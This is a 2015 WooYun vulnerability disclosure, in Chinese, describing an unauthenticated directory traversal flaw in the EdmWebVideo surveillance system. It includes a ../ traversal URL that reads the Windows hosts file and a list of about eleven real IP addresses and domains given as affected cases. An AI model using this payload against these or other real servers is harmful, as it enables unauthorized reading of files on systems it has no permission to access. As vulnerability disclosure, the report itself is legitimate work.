当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112986

漏洞标题：EdmWebVideo录像监控系统任意文件遍历

相关厂商：EdmWebVideo

漏洞作者： YY-2012

提交时间：2015-05-11 12:09

修复时间：2015-08-13 17:10

公开时间：2015-08-13 17:10

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-11： 细节已通知厂商并且等待厂商处理中
2015-05-15： 厂商已经确认，细节仅向厂商公开
2015-05-18： 细节向第三方安全合作伙伴开放
2015-07-09： 细节向核心白帽子及相关领域专家公开
2015-07-19： 细节向普通白帽子公开
2015-07-29： 细节向实习白帽子公开
2015-08-13： 细节向公众公开

简要描述：

EdmWebVideo用户量还是挺多的。

详细说明：

由于没充分过滤用户输入的../之类的目录跳转符，导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
无需登录情况任意遍历系统文件下载（以windwos文件夹内文件为例）

漏洞证明：

http://地址/../../../../../../../../WINDOWS/system32/drivers/etc/hosts


案例：

http://219.159.186.202:82/
http://221.4.254.10:82/
http://218.24.78.158/
http://183.63.58.130/
http://124.192.202.137/
http://219.233.182.202/
http://113.107.171.70:81/
http://59.124.168.19/
http://yihaozhanting.vs98.com/
http://wanshunda.vs98.com/
http://v2.harvardkid.com.cn/


aaaaaaaaaaaaaaaaaaaaaaaaa.jpg


aaaaaaaaaaaaa222222222222222.jpg


aaaaaaaaaa3333333333333333.jpg


aaaaaaaaaaa44444444444.jpg

修复方案：

你们懂的。不懂请百度。

版权声明：转载请注明来源 YY-2012@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-05-15 17:08

厂商回复：

CNVD确认并复现所述漏洞情况，暂未建立与软件生产厂商的直接处置渠道，待认领。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-11 15:24 | prolog ( 普通白帽子 | Rank:544 漏洞数:107 | 低调求发展)

    为什么你不是核心 =_=